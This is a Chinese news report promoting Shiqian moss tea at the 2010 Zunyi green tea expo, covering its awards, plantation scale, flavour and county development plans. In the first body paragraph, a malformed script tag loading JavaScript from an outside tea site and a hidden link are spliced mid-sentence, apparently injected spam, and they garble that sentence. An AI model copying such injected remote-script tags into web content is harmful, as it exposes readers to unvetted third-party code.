石阡苔茶：感受健康生活新理念
石阡苔茶：感受健康生活新理念
走进2010遵义绿茶博览会会场?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?a href=http://www.368tea.com/ id=kw target=_blank>中国温泉之都，2010贵州三大名茶、2009十大名茶”的石阡苔茶展区宣传语格外醒目，在品茗现场，以富有当地特色的铜鼓为茶桌，精致的民族刺绣做成的杯垫，和身穿仡佬族服饰的茶艺师泡的苔茶，让人迅速在众多展区中感受到了独特的浓郁民族氛围。
家住遵义市红花岗区的赵女士在会场来回转了几圈后，在茶艺师的邀请下，在品茗区内品上了石阡苔茶，“口感不错，茶的味道也很醇厚，加上这茶被评为贵州三大名茶，无论是从质量还是口感，我都感觉挺不错的。”
从2009年的贵州十大名茶，到2010年贵州五大名茶及贵州三大名茶，石阡苔茶均榜上有名，而石阡发展茶产业的时间虽短，但速度却惊人。被称为贵州茶业的一匹黑马的石阡，从2007年开始，平均每年茶园以5万亩的速度递增。目前，全县已建成茶园21.36万亩，位居全省第二，铜仁地区之首，良种化率达94.15%，2009年产量3750吨，产值26250万元。
如果说石阡苔茶的优势在于规模，那么它优秀的品质就是在众多茶叶中短期取胜的关键。石阡苔茶外形扁、平、挺、削，色泽绿润光滑，栗香持久，滋味醇厚，色泽绿润，汤色黄绿明亮，叶底鲜活匀整，是中国屈指可数的茶树良种，抗逆性、适应性、产量、品质都比外地品种要胜几筹。石阡苔茶其特殊的地方品种特点， 2009年获国家地理标志产品保护，其产品已获国家级奖项10余个，曾被人誉为“金不换”和“品牌中的品牌”。
如果说石阡苔茶的品质是石阡发展茶产业原动力，那么对产业的布局，就是石阡苔茶得以壮大发展的助推器。在茶业发展中，石阡县委、县^***立足生态环境和地理优势，以市场为导向，以有机绿茶、绿色食品茶生产、加工为主，无公害茶、苦丁茶生产和加工为辅，在全县延展茶叶产业链；以名优绿茶生产为主线，以政策支持为动力，加强科技创新与合作，重点扶持3—5个茶叶生产、加工重点龙头企业；以规模化、标准化、专业化为重点，加快提高全县茶业产业化发展水平步伐；鼓励发展茶叶中介组织和引进外商外资开发茶产业，培育市场营销网络体系，提高茶产业发展的组织化程度和产品附加值，促进农民增产增收，促进社会主义新农村建设。2009年由国家发改委立项批复的占地1000亩的西部大茶都已全面启动，2011年建成后可容纳500人以上的商家入驻经营，将成为西南地区，尤其是黔东地区重要的茶叶经营集散地。
“用生态化理念发展产业、用产业化方式建设生态”是石阡茶产业发展主要思路。随着茶产业的不断壮大，良好的生态环境资源和得天独厚，含锌硒的土壤，昼夜温差大的气候资源等优势渐渐凸现，吸引了众多外商纷纷前来投资建厂，招商引资取得了突破性进展。外资企业的注入，为石阡茶产业插上了腾飞的翅膀。（应腾 王文忠 陈昌霖）
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